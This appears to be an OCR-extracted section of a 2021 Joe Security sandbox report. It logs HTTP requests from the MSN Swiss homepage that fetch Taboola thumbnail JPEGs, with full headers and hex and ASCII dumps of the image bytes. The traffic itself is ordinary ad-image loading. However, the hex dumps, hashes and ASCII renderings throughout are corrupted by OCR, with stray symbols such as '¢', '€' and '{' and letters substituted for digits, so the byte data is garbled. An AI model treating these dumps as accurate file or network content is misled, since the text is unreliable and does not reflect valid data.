GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%
2F%?2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2FGETTY_IMAGES%2FIBK%2F542734683__clsfZCtG.jpg H
TTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-10-20 13:08:56 UTC 32

2021-10-20 13:08:56 UTC 33

2021-10-20 13:08:56 UTC 35

2021-10-20 13:08:56 UTC 36

2021-10-20 13:08:56 UTC 37

2021-10-20 13:08:56 UTC 39

2021-10-20 13:08:56 UTC 40

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 10756

Server: nginx

Content-Type: image/jpeg

access-control-allow-headers: X-Requested-With

access-control-allow-origin: *

edge-cache-tag: 623105471311786779303628346285156873834,335819361778233258019105610798549877581,29ec
f9b93bbf306179626feedalfab70

etag: "530961f46738bb75e8a8c20ef3ac7b8b"

expiration: expiry-date="Sat, 02 Oct 2021 00:00:00 GMT", rule-id="delete fetch for taboola after 30 days"
last-modified: Wed, 01 Sep 2021 04:44:02 GMT

timing-allow-origin: *

x-ratelimit-limit: 101

x-ratelimit-remaining: 100

x-ratelimit-reset: 1

X-envoy-upstream-service-time: 21

X-backend-name: CH_DIR:3FP7YNX3LMizprTZsG7BSW--F_CH_nlb804

Via: 1.1 varnish, 1.1 varnish

Cache-Control: public, max-age=31536000

Accept-Ranges: bytes

Date: Wed, 20 Oct 2021 13:08:55 GMT

Age: 2502654

X-Served-By: cache-wdc5571-WDC, cache-dcal7782-DCA, cache-mxp6972-MXP

X-Cache: HIT, HIT, HIT

X-Cache-Hits: 1, 1, 1

X-Timer: S1634735336.999038,VS0,VE1

Vary: ImageFormat

X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/htt
p%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2FGETTY_IMAGES%2FIBK%2F542734683_
_cIsfZCtG.jpg

X-vcl-time-ms: 1

Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 40 49 43 43 5f 50 52 4f 46 49 4c 45 00 01
01 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 cf 00 06 00 03 00 00 00 00 00 00 61 63
7370 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6 d6 00 01 00 00 00 00
d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 Oa 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b
77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 Oe 67 54 52 4
300 00 01 d4 00 00 00 Oe 62 54 52 43 00 00 01 e4 00 00 00 Oe 72

Data Ascii: JFIF@ICC_PROFILEOADBEmMNtrRGB XYZ acspAPPLnone-ADBEcprt2descOkwtptbkptr TRCgTRCbTRCr

Data Raw: 63 85 3a b6 30 b5 9d 0f 38 d2 7b 38 ¢3 84 66 5d e9 e5 1c e2 8a c2 2a 46 57 4d 8a f8 eb 5e 54 a2 67 8b 3a 65
6f be 6¢ 49 67 b8 ad 4d 52 00 76 8d 00 54 b5 2a 2c ¢8 47 f1 b9 17 8e b2 69 {7 fc ef 41 74 c0 c2 bc 7d 39 96 bb 9c b7 fb 1e
4d d1 a6 40 bc d7 65 f4 97 2b 2e cb 37 da 2e 62 95 cc da b9 79 81 f5 6a 60 a0 bb 59 e3 25 8a 94 e0 20 38 41 e6 55 24 98
ca 19 96 80 3c 93 6e b2 Ob 60 e6 db aa 93 4f 35 97 b3 83 13 be 35 42 6b 79 15 a7 fa 0d 4b 93 23 b9 a0 3a c6 c2 54 eb 48
66 a4 32 6d af bb €5 7a 30 67 12 9d 9d bb d1 b4 54 83 62 10 ca 9a ce 86 a4 e7 20 10 d9 1a 13 4f 67 64 94 5a d1 25 b8 65
fa 3a ae b0 67 3f 60 20 d1 45 96 a5 44 26 68 d9 71 9b 47 fe 03 b2 3a d7 c5 1c 9a a2 74 7d 6e le 88 fO cd 87 27 5a 68 c4
d6 aa fa de 79 4d 17 32 da a0 88 3f 8c e6 e6 80 79 34

Data Ascii: ¢:08{8f]*FWM"Tg:eollgMRVT*,GiAt}9M@e+.7.byj Y% 8AUS$<n O55BkyK#: THf2mz0gTh OgdZ%e:g?" ED&
hqG:tin'ZhyM22y4

Data Raw: 33 77 a3 fc 34 84 a9 19 aa 91 b8 9a 33 95 24 le d7 fa 9c 94 7d b9 74 7d c7 26 19 70 7c e4 e3 ee 38 €3 2d 2e
157 80 60 19 ¢6 01 c9 cd ec 82 49 b8 ed ea 18 bb 2e 45 2a 9d 4b a4 a8 63 e6 2b bl c3 1b f7 b2 ac d3 a8 48 55 bc f2 56
a8 e8 cd 4a c4 8e ca b2 08 27 1f bb 18 af 68 Oc 35 8d db 60 8c 8f b8 4a 30 7c 7f 43 8e 3d 1c bc 3d e4 c¢3 2e 0f 9¢ 9¢ 7d c7
1c 65 91 f3 8¢ 3d €0 c1 9c e7 39 bb 3d 9b 17 8¢ 1d f0 56 85 06 50 b0 50 a8 ca d7 f5 35 el 91 ed 59 d2 f5 34 16 15 7c 51
cc 14 d1 05 56 eb 9e c0 50 c9 53 a9 64 98 fd 3d bf 1e de 8a al b5 95 1c 2d 94 3d b0 77 9b 08 ac bf d0 e3 0f 59 7d 72 61
97 47 ce 58 fd d8 e3 2c 0f 59 27 a3 9c e7 76 77 61 7c ea 37 8e 1d b5 72 e3 78 d1 49 49 64 47 af cf 9b 9e 20 4e 96 d5 d7
8e 6d 81 88 56 b8 51 a0 ad d3 fb 6b b5 b7 7 f5 57 25

Data Ascii: 3w43$}t}&p|8-."|.E*Kc+HUVI'h5"J0|C==.}e=9=VPP5Y4|QVPSd=-=wY}raGX,Y'vwa|7rxlldG NmVQkW%

Data Raw: 1f 6a 99 1f 38 Oc 78 39 54 92 {7 3b b3 68 ef 5b 5e 5e 21 aa a3 le ba 95 7a aa 7a 9b 50 9b 8a b0 41 d8 db 03
af eb 7a 7b c7 8e 95 5a 96 ac 3b a8 93 53 1a 5b 91 dc 45 59 d1 Oa 65 dd 4d 81 3b 78 6b 49 ad d9 5¢ 88 c5 18 €9 ba 17 f4
356 37 f5 15 f5 9b fd 4e dd bc 30 4d 3c 12 af 1d d1 75 25 Ob 97 fa 63 71 56 b2 de bl le a3 a5 20 ab 50 6e ea ae 83 a2
d3 5e 99 2d 51 3e fb a2 a9 15 d9 dd 45 da 35 ¢9 53 57 59 5 3a d5 16 4a 3b ca 4b 73 b1l b0 7a 79 12 c0 4e da 96 22 49 10
0851 40 ec 11 10 d1 a9 e6 36 fb 01 39 Oc a2 51 91 32 a9 93 85 54 37 36 2d 3c 8b 1d c2 9b d9 2b e5 e2 3e af 54 83 25 d6
cl 6f ab f4 74 a4 4e 9a €6 7d 15 19 4e 54 ed d8 53 11 ca 2b c8 a2 46 86 5c 29 fc 65 b3 32 d7 99 63 cf f8 fe f4 56 f4 d3 6a
9b 37 94 75 db 4d 55 9a fb 1a bd 2f d2 ee 95 e6 9a 5d

Data Ascii: j8x9T;h[\\zzPAzZ{Z;S[EYeM;xkI\57NOM<u%cqV Pn*-Q>E5SWY:J;KszyN"IQ@69Q2T76-<+>T%otN}INTS+F\
)e2cVj7uMu/]

Data Raw: 04 cf Oa ea 65 b2 9c fb 31 4f 13 10 39 86 08 e4 03 d4 75 82 7c 08 d3 93 c¢7 1b ae 92 ad bd b1l 5e 69 55 ff 00 e3
9d 7a 2f da 25 e8 75 Oe 0a 91 d0 ed df c9 7d Oe b6 5d 6¢ 12 d7 7c dd eb Oe ¢6 99 ac ¢9 al d7 da d0 d7 82 a9 82 57 00 72
a3 cc 63 ea 9d 6¢ dc db 7f 25 49 83 2d 34 58 ¢8 07 35 37 e3 a8 92 c¢2 d8 d1 c5 3c be c6 a6 b4 63 8c 9e 01 e3 f4 3c 6b f9
€9 97 c6 a4 82 9e 2b 70 3c 33 a6 df a5 df 4d 34 af 41 2a d0 8a f5 62 b5 ae c7 a4 b9 5 9d b2 c¢7 b9 86 ce bb 6d bl al 23
69 d2 49 a7 1d c6 85 74 58 c7 af 1a 7f Ob 1a 83 f1 19 e3 f0 cc 48 f8 11 {7 9f 84 ac bf c3 57 4e 3e Oc 09 86 04 23 8e 36 4f f
80 b7 17 6¢ 83 3e aa 74 8a 7b 1e a4 45 65 af €5 98 7a 4a c8 f1 a9 c8 a2 ed 90 9c d6 48 €9 28 c7 98 18 f2 47 1c e5 d9 78
4e 03 52 90 01 ef 2e b2 4c be 1c 4a eb 1c 91 cf

Data Ascii: e109u|"iUz/%u}]l|Wrcl%l-4X57 <c<k+p<3M4A*bm#iltXHWN>#60I>t{EezJH(GXNR.LJ

Data Raw: 43 5¢ 8a 9a cd a5 b1 49 77 4c 4d d8 92 30 22 ed 1b Oa ab 44 a6 a4 42 56 3d 48 2d d8 9c 64 cf 82 8e ¢8 dc c5
98 8a 3a 12 6b d9 d3 d3 bc 95 d0 ba 7a 6d 6¢ 8a bd 1c 5f 02 e8 ed c1 52 8¢ 60 27 14 29 c4 ce 26 68 71 4f 9e €8 84 9a 23
56 7e 4f 52 7e 4f 52 7e 4a b3 93 7a bl b6 5d 97 7e 4b 99 3f 27 ff c4 00 2b 11 00 02 02 01 03 03 03 04 02 03 01 00 00 00
000001 02 00 11 03 12 21 31104151 04 20 71 22 32 61 81 13 14 05 23 72 91 ff da 00 08 01 02 01 01 3f 00 97 d2 e5 cb
€9 46 54 da 31 80 c1 2e 5¢ b9 72 fa 17 d3 35 cd 46 59 8c 77 82 2f 4b f6 b7 31 2b bc ff 00 5f e6 31 4e d7 Oe e6 08 be dd 26
ae 3e 4558 d9 e6 3c 8a df 3e d5 97 d4 6e 63 9d a3 ee 66 91 38 31 0d 80 7d 8b ec 5e 63 Ob 58 d8 d8 6e 14 d7 e 85 07
2181 98 be d0 3f 3e c5 f6 2f 31 8e 95 b9 90 ae 6 cc 5b

Data Ascii: C\IWLMO0"DBV=H-d:kzml_R™")&hqO#V~OR~OR~Jz]~K?'+!1AQ q"2a#r?FT1.\r5FYw/K1+_ 1N&>EX<>ncf81}"
cXn!?>/1]
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kBytes
Timestamp transferred

2021-10-20 13:08:56 UTC 42

2021-10-20 13:08:56 UTC 43

Session ID Source IP

7 192.168.2.5
kBytes

Timestamp transferred

2021-10-20 13:08:56 UTC 60

2021-10-20 13:08:56 UTC 61

2021-10-20 13:08:56 UTC 62

2021-10-20 13:08:56 UTC 63

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49837

Direction

ouT

Data

Data Raw: 57 7e 1d 8c 2b 51 6¢c a3 11 43 ec ea 1b 6d 7d c5 e5 7a 8f 65 28 ee dc 44 73 da d0 9a 35 16 cd 6d 2d d1 87 88
32 f5 f0 dc 2c df ee 21 f8 5¢ 79 cd 02 88 b4 a9 39 ff 00 4d 51 86 95 17 ce 14 7b 5¢ 74 33 51 1b d0 99 50 eb cc 9f 74 c3 ee
a7 7a 37 45 d4 89 52 df 90 c7 34 c9 2b 4a e2 d6 59 c5 4d 85 e6 ae 96 36 84 a2 30 a4 be Ob 48 58 fe 8d 29 02 1b 45 de fe
32 bb d5 1a 15 f8 88 f2 09 2b 5d 86 a2 db 79 de 14 65 53 4d fc be 21 00 17 50 49 ea c4 01 2e 87 e0 71 a3 53 6e 4c b3 3d
6c 23 05 5a 9b 67 43 aa b8 81 29 1d 95 12 ef 2b 56 21 7e 27 aa 47 f8 ca 88 1b 5b 67 26 2b d8 68 Oc ee ea b8 25 4a b5 c6
91 2a d0 61 f1 27 2f 31 ee 80 06 e4 9b 01 33 7e 5d 61 a6 cc a4 07 3a 91 7e 60 4a b5 2b 77 a0 d4 cf f5 8e 62 2e 60 db 81
b8 83 32 90 c3 c4 4e 56 61 d4 4c eb 45 c3 15 e7 61 bc

Data Ascii: W~+QICm}ze(Ds5m-2,'\y9MQ{\t3QPtz7ER4+JYME0HX)E2+]yeSM!PI.qSnL=#ZgC)+V!~'G[g&+h%J*a'/13~
Ja:~"J+wb. 2NValLEa

Data Raw: 72 80 f6 a2 53 64 a5 5e 81 bd 1c 50 4d ed d1 a5 ac 2f 68 4a 61 e9 31 83 el la fa 4d d8 43 99 69 1a 4b fd 64
38 3f aa 46 a5 86 76 35 2a b2 e8 d5 19 cd f4 €8 22 25 30 2¢ 05 b4 12 93 73 2a 5a cc 39 5f 4f d0 c2 4d 82 df 9d b7 9a 04
d2 1b 02 6¢ 26 e4 cb €8 04 fb 4b 15 a4 b7 d5 9c cb ae 19 0d 3a 5e 2e fa bb 41 ¢2 99 81 9f 10 13 6¢ 0d 7f d1 98 4b a9 42
7d 08 8¢ f8 67 56 ce 1b 53 4c¢ 87 20 b2 f8 45 5¢ e7 33 15 00 66 27 9e 9d 96 71 08 a5 84 a6 2a 55 e8 d5 39 03 e0 20 29 7c
b9 6e 38 bc 23 51 a4 ea d8 fO 85 b4 a6 f4 aa 05 74 5f 02 1e 68 03 19 a3 d4 28 a7 ca 6e 65 f8 c4 d7 19 89 42 d6 fc 09 a9
68 a9 49 05 91 2d 2c 42 66 51 79 6a 95 08 2e 5b 42 41 d8 79 08 05 47 5b 2b 1e 40 1b 69 06 6¢ 84 7a dc ce 2b 4a 94 8d
17 0f 9e 9d 8e a4 11 66 ea 25 0a d8 7a 42 e5 e9 1b 3d bc al

Data Ascii: rSd"PM/hJalMCiKd8?Fv5*'%0,s*Z9_OMI&K: M. AIKB}gVSL E\3f'q*U9 )|n8#Qt_h(neBhl-,BfQyj.[BAYG[
+@ilz+Jf%zB=

Destination IP Destination Port Process

151.101.1.44 443

Data

GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%
2F%?2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F0d7ca0c89d5d09bf1d71170b01c3a769.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 20936

Server: nginx

Content-Type: image/jpeg

access-control-allow-headers: X-Requested-With

access-control-allow-origin: *

edge-cache-tag: 473400065816504481344293484750649737046,335819361778233258019105610798549877581,29ec
f9b93bbf306179626feedalfab70

etag: "5df328bbe8286a6a8e4b090ca69cfola”

last-modified: Fri, 24 Sep 2021 14:34:42 GMT

status: 200 OK

timing-allow-origin: *

x-ratelimit-limit: 101

x-ratelimit-remaining: 99

x-ratelimit-reset: 1

x-request-id: 0d7fca08a2fdbad28b0e23d7330c8e5¢
X-envoy-upstream-service-time: 23

X-backend-name: CH_DIR:3FP7YNX3LMizprTZsG7BSW--F_CH_nIb803

Via: 1.1 varnish, 1.1 varnish

Cache-Control: public, max-age=31536000

Accept-Ranges: bytes

Date: Wed, 20 Oct 2021 13:08:56 GMT

Age: 2022866

X-Served-By: cache-wdc5548-WDC, cache-dcal7760-DCA, cache-mxp6942-MXP
X-Cache: HIT, HIT, HIT

X-Cache-Hits: 1, 1, 2

X-Timer: S$1634735336.052823,VS0,VEO

Vary: ImageFormat

X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_f{ill%2Cg_faces:auto%2Ce_sharpen/htt
p%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F0d7ca0c89d5d09bf1d71170b01c3a769.jpg
X-vcl-time-ms: 0

Data Raw: ff d8 ff €0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 03 03 03 03 03 03 04 04 04 04 05 05
05 05 05 07 07 06 06 07 07 Ob 08 09 08 09 08 Ob 11 0b Oc Ob Ob Oc Ob 11 Of 12 Of Oe Of 12 0Of 1b 15 13 13 15 1b 1f 1a 19
1a 1f 26 22 22 26 30 2d 30 3e 3e 54 01 03 03 03 03 03 03 04 04 04 04 05 05 05 05 05 07 07 06 06 07 07 Ob 08 09 08 09
08 0b 11 0b Oc Ob Ob Oc Ob 11 0f 12 0f Oe Of 12 Of 1b 15 13 13 15 1b 1f 1a 19 1a 1f 26 22 22 26 30 2d 30 3e 3e 54 ff c2 00
1108 01 37 00 cf 03 01 22 00 02 11 01 03 11 01 f ¢4 00 35 00 00 00 06 03 01 00 00 00 00 00 00 00 00 00 00 00 02 03 04
05 06 07 00 01 08 09 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 Oc 03 01 00 02
10 03 10 00 00 00 ed 65 29 45 db 83 a0 11 a9 cb 51 94 60

Data Ascii: JFIF&"&0-0>>T&"'&0-0>>T7"5e)EQ"

Data Raw: 56 d0 dc 0f 89 19 82 c7 74 8e 0f 69 35 6b 45 86 8f 38 c0 29 7c 5c €6 2f 8b bb 12 ¢8 73 {380 98 c6 dd 27 48 d4
51 1d 80 b9 a9 b6 66 63 5a 27 30 09 37 32 a4 03 cc a9 d9 79 92 da 9d b3 Ob 29 2e 64 8b 03 99 50 e3 1c cc 6¢ 83 b3 06
28 de 60 d3 a5 cc a9 91 24 cc Of ff c4 00 31 10 00 01 04 02 02 02 02 01 02 06 02 01 05 00 00 00 03 01 02 04 05 00 06 07
11121308 21 14 1531 10 22 2332 41 51 16 20 17 18 24 33 35 61 ff da 00 08 01 01 00 01 09 00 6f 49 8d 63 53 ed 15 bd
ab 7e d5 18 e4 55 45 45 44 c7 01 ae ed 7b 51 74 9d e7 8a 62 b1 33 ¢5 31 13 13 eb 11 51 53 3c 71 8¢ 55 5c¢ f5 f4 a9 da 3d
bd 3b 11 11 73 ac 4c f1 c5 fa c4 5e ff 00 82 e2 a6 35 7a 4c f3 fa c6 9d 7a €9 55 92 13 a5 f2 c4 73 5d 8e eb fc 2b 7a 5¢ 7b
13 ef ac 46 39 57 ae 9e 27 b5 3b €9 31 b8 88 98 d6 aa

Data Ascii: Vti5kE8)|Vs'HQfcZ'072y).dPI($1!1"#2AQ $35a0lcS~UEED{Qtb31QS<qU\=;sL"5zLzUs]+z\{FOW';1
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kBytes
Timestamp transferred Direction Data

2021-10-20 13:08:56 UTC 65 IN Data Raw: 2a 2e 95 43 el 9e bc fO ce b3 ¢3 bc 56 75 9e 38 a9 8a dc fb 4c 45 c¢7 3b a5 6a 74 c5 42 2a b7 10 86 ec cc 57
6e 6¢c 97 3b 67 e3 ba e3 8b 90 e7 d4 eb 97 3b d4 ba e4 d6 f8 86 d9 8e d4 ef ed e5 ed bb a4 aa f9 f7 e2 2d 07 1d dc 71 76
95 3c b4 34 82 b7 e4 0d 47 57 b4 fd 36 74 fd df 77 d6 0d ac ca a4 a6 5d 9b 6a b0 67 1c ea d0 75 8d c6 ca ec 97 7b 24 5b
6b 65 96 el a4 96 b8 41 b7 92 f9 0a 35 71 €0 d9 dd 00 4f 20 ac d1 f9 df 79 f5 82 09 Oe f4 63 1b b0 72 de 81 ae 90 80 7c
ab ff 00 95 3a 65 19 bc 48 19 9f 32 68 d0 aa c8 b7 fa 5f 37 ec 9b 78 88 48 15 d0 37 4d 7a d0 01 2c 73 97 64 a9 12 f4 9 4d
da 69 d5 7a 6¢ bb 82 d3 5f b4 5d 5a ¢7 b0 aa 1b 23 b1 24 df 58 6e 32 21 c8 6e bd 79 b7 d4 f3 ed fa 53 ¢8 b1 75 bd 85 98
2b df 45 79 47 43 ¢9 9b 3e ad b4 92 c7 67 a5 de 79 16
Data Ascii: *. CVU8LE;jtB*Wnl;g;-qv<4GW6tw]jgu{$[keA5q0 ycr|:eH2h_7xH7Mz,sdMizl_]Z#$Xn2!nySu+EyGC>gy

2021-10-20 13:08:56 UTC 66 IN Data Raw: ce 29 d5 b5 f1 81 76 28 el e5 fe 71 66 b6 c3 53 eb 84 98 7b 89 44 99 30 93 d2 6d c8 13 cc 76 62 b9 b8 ac 98
f9 84 26 el be 6¢ db 94 99 a8 74 78 42 46 ab fd f1 46 90 dc 84 8e fe 23 df b6 2a 4a 9b fd 72 83 2d 36 8d ee d4 f2 a7 6¢c b2
6 ed fa d6 46 99 c9 b2 a2 6¢ 1a 38 22 c0 8c 2b 53 55 f2 33 a2 5d 6a fO 2f 9b 50 5 70 de €6 3b 11 3b 5¢ 78 Oa 8a aa 88
8f 54 fd f1 a6 cb 79 3d 56 1c 68 ba e5 23 f6 3b 25 8e e9 3a ac ee 07 1c b0 52 ae bl bc 6a 90 35 5d ba 0f €9 d1 el 49 5f
78 9f 97 b2 6¢ ca e2 b6 bc 74 e2 65 85 64 49 5f 95 ab 6f f7 3a 79 c6 7a ea 0d 8b 9f 9 Oe fa 82 d4 25 15 97 17 72 b5 be df
73 4d ae dO af c6 bf 92 53 be 9b a0 0f e2 37 ¢9 d2 7f 55 34 61 7c 35 f9 18 ff 00 a2 eb ce 8 69 cc ec 0a 32 65 99 be 29 6f
41 2f b6 5f 28 2f ¢6 97 81 7c 25 73 66 c3 c7 d1
Data Ascii: )v(qfS{DOmvb&ItxBFF#*Jr-6IFI8"+SU3]j/Pp;;\xTy=Vh#;%:Rj5]|_xItedl_o:yz%rsMS7U4a|5i2e)oA/_(/|%sf

2021-10-20 13:08:56 UTC 68 IN Data Raw: bc 9f 3e 52 83 f4 €6 fc 54 df fb 54 7c c8 df 12 b6 27 89 4e 5b d7 fc 56 47 11 82 8b 68 cf 8a f2 58 2e cb 76 1f 8a
95 50 d8 7 4b 9d 57 c1 5¢ 7b 5f 15 55 b1l 6a 69 75 4a 19 8a e8 55 e2 19 be 9d ed 91 ad c5 8b ea 3c f3 1b b9 31 98 58 f2
2ae2c590 37 faed a0 86 c4 fc 57 05 91 5b 1d 23 38 66 71 02 c0 9c f0 cf 1a 33 85 2f fa f6 06 81 29 11 ee 09 dc 45 39 c4
822d 81 dc 030cac 99 2e da 44 62 c7 72 e7 e5 fb a3 a4 80 a3 1f 62 88 02 3c Oc 82 91 7d ca 03 40 aa da 25 1d cf 87 64
da Ob 7a fb 20 7a ed 46 59 de f7 48 95 34 af 96 34 11 4d 2e 42 4a 96 c2 98 4c 35 64 eb 61 34 25 9a 68 d6 61 92 f7 38 a4
ad 8b 1e 2f 9c 97 ac 9a d9 d2 11 06 68 ba ec 78 71 9d eb b1 8f 00 10 cc 36 ba 73 21 31 ae 24 8a 5c 9f b9 92 94 ce 55 ad
4b 53 ce 41 92 b2 da ba 53 4c 65 fe b9 e5 c4 80
Data Ascii: >RTT|'N[VGhX.vPKW\{_UjiuJU<1X*7W[#8fq3/)E9-.Dbrb<}@%dz zFYH44M.BJL5da4%ha8/hxq6s!1$\UKSASLe

2021-10-20 13:08:56 UTC 69 IN Data Raw: 52 82 3b aa ec d5 ca e5 7c 6a 76 b4 el 4f 54 ca €9 52 88 16 05 c2 d7 a2 81 10 43 84 4d 7d ec 12 85 c7 3c 15
4e a3 ce 54 a9 94 05 e9 01 2a a2 55 9c¢ 46 81 e8 2d 78 02 39 91 4a 95 b1 40 47 b9 8f 14 b7 7e 1b 1c 8¢ 91 16 14 b2 9c f2
a5 06 2a 3d a8 02 b9 b2 21 9b cc ff 00 9f 3d 45 20 83 f5 24 44 23 ab 46 28 b1 8c Ob 11 39 02 65 Oc 8b 18 be c6 b1 ac 3d
8f e2 3d f1 Oe 78 f2 c4 e0 bc ea 47 16 27 f3 39 ¢4 b0 d5 40 d7 9d ef 24 2a 92 4b 69 62 da b6 8c c7 27 81 ae 00 eb 86 00
a4 38 9d 30 03 ff 00 e5 40 4d 8b 24 24 60 9a d6 21 5a df 3c 12 95 ff 00 4f 71 e2 38 c8 83 19 45 12 5c¢ 5f Of 5b 9b 4f 25 al
41 14 a3 85 2c 51 80 26 c9 3f 80 95 1c e6 fe 32 99 8e 20 de fO a8 Oa a8 49 10 e2 23 62 bd 06 ee e4 85 e3 86 26 38 52 fc
9a f2 30 cc fa 64 35 92 4a c9 92 3d 33 a5 4e 3c ca c5
Data Ascii: R;|jlvOTRCM}<NT*UF-x9J@G~*=!=E $D#F(9e==xG'9@$*Kib'80@M$$"!Z<Oq8E\ [0%A,Q&?2 |#b&8R0Od5J=3
N<

2021-10-20 13:08:56 UTC 70 IN Data Raw: f4 Ob 3f 4a b9 c0 45 aa a5 03 55 c0 bd ce c2 ec Ob 7e 1c Oe 70 a9 b0 30 c¢9 71 27 90 ea a8 8c 94 11 83 c4 b4
15 6b 87 42 9¢c 09 18 68 69 e4 62 55 a2 d8 dd 1a 60 08 b4 7e 50 6d 3b 08 2d 37 75 94 29 82 13 d8 2a 01 9d 80 19 c4 ad
08 73 68 39 8f 9¢ bf 99 e4 55 08 60 73 7e 59 91 e2 ae 6f 27 05 72 71 f7 70 62 54 06 3c 3d a5 d8 30 €0 4c a7 b9 c2 2d 12
bd e8 50 f2 €0 46 20 1c 42 21 d1 97 af f6 79 26 b6 66 1c 56 a0 ba 9d 27 10 72 27 27 2b 43 a9 a9 54 56 0f 20 90 d6 c6 23
aa 00 de 7f a8 f2 25 7e al a6 Of 2c 2e 12 37 ¢6 10 d5 69 9d b3 d8 7c 51 b5 c1 c0 93 69 08 11 04 1d cb 4f 92 b8 5a 09 80
bb 46 8e 89 b5 58 €3 00 85 7b 95 ¢7 b9 17 3c le e5 aa a8 2c 78 39 05 a5 69 b5 1e af 52 f8 90 44 10 31 20 a6 fa 4f 4f f4 bc
2a 67 d1 bb 1b be e4 a6 b3 d1 ae c8 14 8c a6 52 d3 d3 93
Data Ascii: 2JEU~p0q'kBhibU"~Pm;-7u)*sh9U s~Yo'rgpbT<=0L-PF Bly&fV'r"+CTV #%-~,.7i|QiOZFX{<,x9iRD1 OO*gR

2021-10-20 13:08:56 UTC 72 IN Data Raw: 4e 59 46 39 62 06 58 dc 8e ed 4f 51 Oa d6 d3 40 28 de 46 a4 12 3d 56 11 53 a4 af de 17 36 70 4d 97 2b 5b 47
e34d e7 e7 d7 70 96 b6 92 9e 3c 21 91 el 8d 22 49 e6 99 f1 04 06 05 14 5a e9 6e 35 b8 35 30 8d a6 57 db 21 a7 92 18
26 2e 4c 93 3c b9 a4 84 5c d9 c8 44 20 12 6¢ 6d a8 60 dc ea ea da 7a b5 11 4a 23 01 10 f5 1c 16 66 6e al Oe 08 ea 8b 1e
7551 47 57 05 2d 5d 3c f5 29 b5 ¢3 2a d6 8a 94 2b 69 03 ca 7b 71 ed 20 f1 aa 8d db 61 db a9 25 7a aa 49 dd 96 6d d1 51
01 4591 e5 69 48 cd d1 15 55 6d 65 be ab f6 b9 fe 2f be fh 57 fh 46 78 e7 99 7a eb 75 0d 2a 24 63 05 5e 40 23 80 75 16
e5 5f bb 53 ¢9 54 95 11 83 f2 a2 38 86 4d 24 33 d9 6d 21 04 32 2a f7 5b 52 38 dd 69 56 98 d4 75 Ob d6 85 89 c4 ca 8f 00
bf 5d 06 1c 4b 89 75 fO 7f bb 79 56 6e a3 3c al c6 28 63 01
Data Ascii: NYFO9bXOQ@(F=VS6pM+[GMp<!"IZn550W!&.L<\D Im"zJ#fnuQGW-]<)*+i{q a%zImQEiHUmMe/WFxzu*$c r@#u_
ST8M$3m!2*[R8iVulKuyVn<(c

2021-10-20 13:08:56 UTC 73 IN Data Raw: 78 d7 c3 d4 b5 8f 2a 48 95 15 26 5a 72 b8 47 80 4b 3¢ 55 Ob 81 3¢ 90 46 be 19 de a7 db cd 48 53 b2 7c 4e 94
53 32 d4 a6 0f 65 9a 9a 04 cc ad d7 55 1f Oc ¢3 25 3¢ 30 ac 5b 8d 19 a5 82 79 a3 91 df a9 fb 45 24 92 98 92 5a d9 3b 8f
60 35 50 89 24 4f 4b 24 55 12 54 ac ad d4 91 6a 13 a3 d5 c9 38 04 fd c1 e4 ea 8c d5 57 b4 a9 34 f3 52 09 a4 a2 11 82 23
9 77 38 9e a6 4c 4e 76 ba 9f 1a a5 30 18 1a 28 e6 81 af 50 cf 18 52 85 d5 cf f8 7c f9 36 26 e4 f3 a9 04 93 41 24 6f c2 c2
b6 08 6f 97 71 b3 db d8 81 88 b0 d2 ca e5 93 10 12 ca 2f c0 3c 01 7b df d4 e9 a3 48 57 01 9¢ 87 20 82 ca 6¢ c3 cd c9 e0
69 6a 64 47 62 63 37 3e 39 e4 78 €3 1b e8 4e aa le f8 a9 04 00 6e 6e 00 be 20 f1 7d 15 cc 5e 32 a0 96 62 78 36 be 9d b8
16 6b 11 70 3e ff 00 ac d8 79 36 bd b4 76 bf 87 f6 a0
Data Ascii: x*H&ZrGK<U<FHS|NS2eU%<O0[yE$Z; 5P$OKSUTBWARH#WBLNVO(PR|6&A$000/<{HW lijldGbc7>9xNnn }"2bx6
kp>y6v

